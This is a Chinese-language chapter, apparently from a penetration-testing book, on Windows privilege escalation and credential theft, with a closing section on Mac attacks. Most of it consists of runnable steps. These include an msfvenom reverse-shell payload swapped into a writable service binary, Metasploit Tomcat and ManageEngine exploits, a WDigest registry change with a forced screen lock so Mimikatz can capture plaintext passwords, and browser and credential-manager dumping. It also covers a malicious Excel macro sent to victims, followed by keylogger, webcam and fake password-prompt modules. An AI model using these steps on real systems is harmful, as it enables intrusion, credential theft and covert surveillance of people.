权限提升

从普通用户到高权限帐户有很多不同的方式。

未被引用服务路径:

  • 这是一个相当简单和常见的漏洞,其中服务可执行路径没有被引号括起来。这是很容易被利用的,因为如果路径周围没有引号,我们就会利用当前服务。假设我们有一个服务被配置为执行 C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe。如果我们有 CK 文件夹的写入权限,我们可以将其替换为 C:\Program Files (x86)\Cyber Kittens\Cyber.exe(注意,原名称中的 Kittens.exe 消失了)的恶意软件。如果服务在系统上运行,我们可以等到服务重新启动,并让我们的恶意软件作为一个 system 帐户运行。
  • 如何找到易受攻击的服务路径:
    • 通过 wmic 服务获取名称、注意 displayname、pathname、startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\” | findstr /i /v “””
    • 寻找 BINARY_PATH_NAME

查找服务中存在的不安全的注册表权限:

  • 识别允许更新服务映像路径位置的弱权限账户

检查 AlwaysInstallElevated 注册表项是否已启用:

请注意,我们并不需要手动完成这些操作,因为别人已经创建了一些好的 metasploit 和 PowerShell 模块,特别是针对 Windows 的模块。在下面的示例中,我们将查看 PowerUp PowerShell 脚本。在这种情况下,脚本与 Empire 一起在所有常见的错误配置区域运行查找,比如允许普通用户获得本地管理或系统帐户。在下面的示例中,我们在受害者系统上运行这个程序,发现它有一些本地系统的未引用服务路径。现在,我们可能无法重新启动服务,但我们应该能够利用这个漏洞,等待服务重启。

  • Empire PowerUp 模块:
    • usermodule privesc/powerup/allchecks

权限提升 - 图1

最突出的是:

  • ServiceName: WavesSysSvc
  • Path: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
  • ModifiableFile: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
  • ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize…}
  • ModifiableFileIdentityReference: Everyone
  • StartName: LocalSystem

看起来任何人都可以编写 WavesSysSyc 服务。这意味着我们可以将 WaveSysSvc64.exe 文件替换为我们自己的恶意二进制文件:

  • 创建一个 Meterpreter 二进制文件(后续的文章将讨论如何绕过杀毒软件)
    • msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe
  • 使用 Empire 上传二进制文件并替换原始二进制文件
    • upload ./shell.exe C:\users\test\shell.exe
    • shell copy C:\users\test\Desktop\shell.exe “C:\ProgramFiles\Waves\MaxxAudio\WavesSysSvc64.exe”
    • 重新启动服务或等待其重启

一旦服务重新启动,你你应该会收到一个升级为 system 权限的 Meterpreter shell 。使用 PowerUp powershell 脚本,你将发现许多不同的服务都会有权限提升的可能性。如果你想深入了解 Windows 权限提升的底层问题,请查看 FuzzSecurity 的文章:http://www.fuzzysecurity.com/tutorials/16.html

对于未打补丁的 Windows 系统,我们确实有一些权限升级攻击,比如:( https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 )和 ( https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135 ),但是我们如何快速识别目标系统上安装了哪些补丁呢,我们可以在受害者系统上使用系统默认自带的命令来查看安装了哪些系统补丁包。Windows 自带默认命令systeminfo 将提取任何给定的 Windows 主机的所有补丁安装历史记录。我们可以拿回这个输出结果,将其复制到我们的 Kali 系统并运行 Windows Exploit Suggester 以查找已知的漏洞然后针对性的进行漏洞利用从而提升权限。

回到你攻击的 Windows 10系统:

  • systeminfo
  • systeminfo > windows.txt
  • 将 windows.txt 复制到你的 Kali 虚拟机的 /opt/Windows-Exploit-Suggester 下
  • python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls

权限提升 - 图2

这个工具已经有一段时间没有被维护了,但是你还是可以轻松地从中寻找到你正需要的能权限提升的漏洞。

如果我们处在一个已经打好所有补丁的 Windows 主机环境中,我们将重点关注第三方软件中的不同权限提升漏洞或操作系统的任何 0day 漏洞。例如,我们一直在寻找下面这样的漏洞 http://bit.ly/2HnX5id ,这是 Windows 中的权限升级漏洞,现在还没有修补。通常在这些场景中,可能会有一些基本的 POC 代码,但是我们需要测试、验证并多次复现这个漏洞。我们经常监控某些领域存在公共特权升级的漏洞:

通常,这只是时间问题。例如,当发现漏洞时,这可能是你在系统打好补丁之前进一步破坏系统有限的好机会。

权限提升实验

测试并尝试不同类型的权限升级漏洞的最佳实验环境是 Rapid7的 Metasploitable3。这个充满漏洞的框架会自动生成一个 Windows 虚拟机,其中包含所有常见的和不常见的漏洞。配置需要一点时间,但是一旦配置好了虚拟机,它就是一个非常棒的实验环境。

让我们来看一个简单的例子,然后快速开始:

  • 使用 nmap 扫描 Metasploitable3 虚拟机的IP ( 确保全端口扫描免得你错过一些端口 )
  • 你将看到 ManageEngine 在端口8383上运行
  • 启动 Metasploit 并搜索任何 ManageEngine 有关的漏洞
    • msfconsole
    • search manageengine
    • use exploit/windows/http/manageengine_connectionid_write
    • set SSL True
    • set RPORT 8383
    • set RHOST < Your IP>
    • exploit
    • getsystem
  • 你会注意到你不能获得 system 权限,因为你所利用的服务未作为特权进程运行。这时,你能做到的就是尝试所有不同的权限提升攻击。
  • 其中,我们看到的一件事是,Apache Tomcat 是作为特权进程运行的。如果我们可以利用这个服务,我们就可以将我们的 payload 作为更高层次的服务运行。我们看到 Apache Tomcat 在外部网络的8282端口运行,但它需要用户名和密码。因为我们有一个本地低权限的 shell,我们可以尝试在磁盘上搜索这个密码。我们可以在谷歌搜索“Tomcat密码存储在哪里”,搜索结果表明:“tomcat-users.xml”。
  • 在受害者机器中,我们可以搜索和读取 tomcat-users.xml 文件:
    • shell
    • cd \ && dir /s tomcat-users.xml
    • type “C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml
  • 现在让我们使用找到的密码攻击 Tomcat。首先,登录到8282端口上的 Tomcat 管理控制台,并查看我们的密码是否有效。然后,我们可以使用 Metasploit 通过 Tomcat 部署恶意的 WAR 文件。
    • search tomcat
    • use exploit/multi/http/tomcat_mgr_upload
    • show options
    • set HTTPusername sploit
    • set HTTPpassword sploit
    • set RPORT 8282
    • set RHOST < Metasploitable3_IP>
    • set Payload java/shell_reverse_tcp
    • set LHOST < Your IP>
    • exploit
    • whoami
  • 你现在应该是 system 权限了。我们利用第三方的工具(tomcat)来提升权限到 system 权限。

从内存中提取明文凭据

Mimikatz 自推出以来,就改变了在渗透入侵中获取明文密码的方式。在 Windows 10之前,以本地管理员的身份在主机系统上运行 Mimikatz 的话是允许攻击者从 lsass(本地安全机构子系统服务)中提取明文密码的。这种方法在 Windows 10 出现之前非常有效,而在 windows 10 中,即使你是本地管理员,也无法直接读取它。现在,我看到了一些奇怪的现象,其中单点登录( SSO )或者一些特殊的软件会把密码保存在 LSASS 进程中让 Mimikatz 读取,但是我们现在先忽略这个。在这一章中,我们将讨论当这件方法(指 SSO 和特殊的软件)不工作时该做什么(比如在 Windows 10系统中)。

假设你攻击了 Windows 10系统的主机并且提升权限了,默认情况下,你将调整 Mimikatz 的配置,并根据下面的查询查看到密码字段为空。

权限提升 - 图3

那么你能做什么呢?最简单的选项是设置注册表项以让系统将密码凭证保存到 LSASS 进程。在 HKLM 中,有一个 UseLogonCredential 设置,如果设置为0,系统将在内存中存储凭据( http://bit.ly/2vhFBiZ ):

  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • 在 Empire 中,我们可以通过 shell 命令运行:
    • shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

这个注册表修改的问题就是需要用户重新登录到系统。你可以让目标机器屏幕锁屏、重新启动或注销用户,以便你能够捕获然后再次发送凭证文本。最简单的方法是锁定他们的工作机器(这样他们就不会丢失他们的当前的工作…看看我有多好!)。要触发锁屏:

  • rundll32.exe user32.dll,LockWorkStation

一旦我们锁定屏幕,并让它们重新登录,我们就可以重新运行 Mimikatz 来获得明文密码。

权限提升 - 图4

如果我们无法提升到本地管理帐户怎么办?我们还有哪些其他方法可以获得用户的凭证?在过去,一个常见的渗透攻击是在客户机的用户空间内存中查看凭据是否以明文形式存储。现在一切都是基于浏览器的,我们能在浏览器中做同样的事情吗?

在这里,putterpanda 将和一个很酷的 POC 工具在一起来完成这个任务,称为 Mimikittenz。Mimikittenz 所做的就是利用 Windows 函数 ReadProcessMemory()来提取来自各种目标进程(如浏览器)的密码,并输出纯文本。

Mimikitten 支持 Gmail,Office365,Outlook Web,Jira,Github,Bugzilla,Zendesk,Cpanel,Dropbox,Microsoft OneDrive,AWS Web 服务、Slack、Twitter 和 Facebook。编写 Mimimikittenz 搜索表达式也很容易。

这个工具最好的地方在于它不需要本地管理员权限,因为他只需要访问那些用户本身创建的进程。一旦我们攻击进了主机,我们将把 Mimimikittenz 导入内存,并运行 Invoke-mimikittenz 脚本。

权限提升 - 图5

正如上面所看到的,用户通过 Firefox 登录到 Github 中,我们可以从浏览器内存中提取他们的用户名和密码。现在,我希望这本书的读者都能把这个工具用的越来越高级,为不同的应用程序创建更多的搜索查询。

从 Windows 凭据管理器和浏览器获取密码

Windows 凭据管理器是 Windows 的默认功能,用于保存系统、网站和服务器的用户名、密码和证书。记不记得当你使用 Microsoft IE/EDGE 对网站进行身份验证后,通常会弹出一个弹出窗口,询问“是否要保存密码?”凭证存储就是存储这些信息的地方,在凭据管理器中,有两种类型的凭据:Web 和 Windows。你还记得哪个用户有权访问这些数据吗?它不是 system,而是登录后可以检索此信息的用户。这对我们来说是很好的,就像任何钓鱼网站或代码执行一样,我们通常都可以用别的方法获得那个用户的权限。最好的一点是,我们甚至不需要成为本地管理员来提取这些数据。

权限提升 - 图6

如何提取这些信息呢?我们可以使用两种不同的 PowerShell 脚本导入以收集此数据:

权限提升 - 图7

从上图中可以看到,我们提取了他们的 Facebook 存储的凭证和任何他们拥有通用的凭证。记住,对于 Web 凭据,Get-WebCredentials 只能从 Internet Explorer/Edge 获取密码。如果我们需要从 Chrome 获取,我们可以使用 Empire payload 的 powershell/collection/ChromeDump。在获取之前,要运行 ChromeDump 的话,首先需要终止 Chrome 进程,然后运行 ChromeDump,最后,我喜欢拉取下载所有的浏览器历史和 cookies。 我们不仅可以了解他们的内部服务器的大量信息,而且,如果他们的会话仍然存在,我们也可以使用他们的 cookies 和身份验证,而不必知道他们的密码!

使用如下 PowerShell 脚本:https://github.com/sekirkity/browsergather ,我们可以提取所有浏览器 cookies,并通过我们的浏览器利用这些 cookies,但是所有这些 cookies 都没有提升权限的功能。

权限提升 - 图8

接下来,我们甚至可以开始在受害者系统上可能安装的所有第三方软件中寻找服务器和凭证。一个叫做 SessionGopher 的工具可以从 winscp、putty、superputty、filezilla 和 microsoft 远程桌面获取主机名和保存密码。还有一个其他功能是能够从网络上的其他系统远程获取它的本地凭据,启动 sessiongopher 的最简单方法是导入 PowerShell 脚本并执行使用:

  • Load PowerShell File:
    • . .\SessionGopher.ps1
  • Execute SessionGopher
    • Invoke-SessionGopher -Thorough

我们可以通过以下几种方式从主机系统获取凭证,而无需提升权限、绕过 UAC 或使用键盘记录器。因为我们是在用户的系统会话中,所以我们可以访问主机上的许多资源,以帮助我们继续攻击。

从 OSX 获取本地凭证和信息

本书内的大部分横向运动集中在 Windows 上。这是因为几乎所有中大型环境都使用 Active Directory 来管理其系统和主机。我们每年都能看到越来越多的 Mac 电脑,所以希望本书的内容也稍带提及一下 MAC。一旦进入一个 MAC 主机的内网环境,许多攻击就类似于在 Windows 主机环境中的攻击(即扫描默认凭据、Jenkin 等应用程序攻击,嗅探网络,并通过 SSH 或 VNC 横向移动)。

有多个渗透攻击框架的 payload 支持 Mac,我最喜欢的是使用 Empire。Empire 可以生成多个 payload 来诱骗受害者执行我们的代理,其中包括 Ducky scripts、二进制可执行程序、Office 宏、Safari 启动程序、pkg 安装包等等。例如,我们可以创建一个和 Windows 主机适用的 PowerShell Empire 中的 Office 宏:

  1. 打开 Empire
  2. 首先,确保你能像我们在本书的开头所做的那样设置你的 Empire 监听器
  3. 接下来,我们需要构建一个 OSX 宏的 payload
    1. use Stager osx/macro
  4. 设置要写入本地文件系统的输出文件
    1. set outfile/tmp/mac.py
  5. 生成 Payload

权限提升 - 图9

如果你查看生成的 Office 宏,你将看到它只是由 Python 执行的 Base64代码。幸运的是,Python 是 Mac 上的默认应用程序,当执行这个宏时,我们应该得到 agent beacon

要在 Mac 中创建恶意 Exce l文件,我们可以打开一个新的 Excel 工作表,转到“工具”,查看宏,然后在此工作簿中创建宏,一旦 Microsoft Visual Basic 打开,就删除所有当前代码并将其替换为所有新的宏代码。最后,将其保存为 XLSM 文件。

权限提升 - 图10

现在,把你的恶意文件发送给你的目标攻击者,看着 Empire 大展神威。在受害者那边,一旦他们打开 Excel 文件,就会出现这样的情况:

权限提升 - 图11

确保创建了一个合理的情形,让他们单击“启用宏”。

一旦你的代理连接回你的 Empire 服务器,接下来的操作和侦察阶段就非常相似了。我们需要:

  1. 转储浏览器信息和密码:

    1. usemodule collection/osx/browser_dump
  2. 启用键盘记录器:

    1. usemodule collection/osx/keylogger
  3. 让应用程序提示获取密码:

    1. usemodule collection/osx/prompt
  4. 始终打开电脑摄像头拍照:

    1. usemodule collection/osx/webcam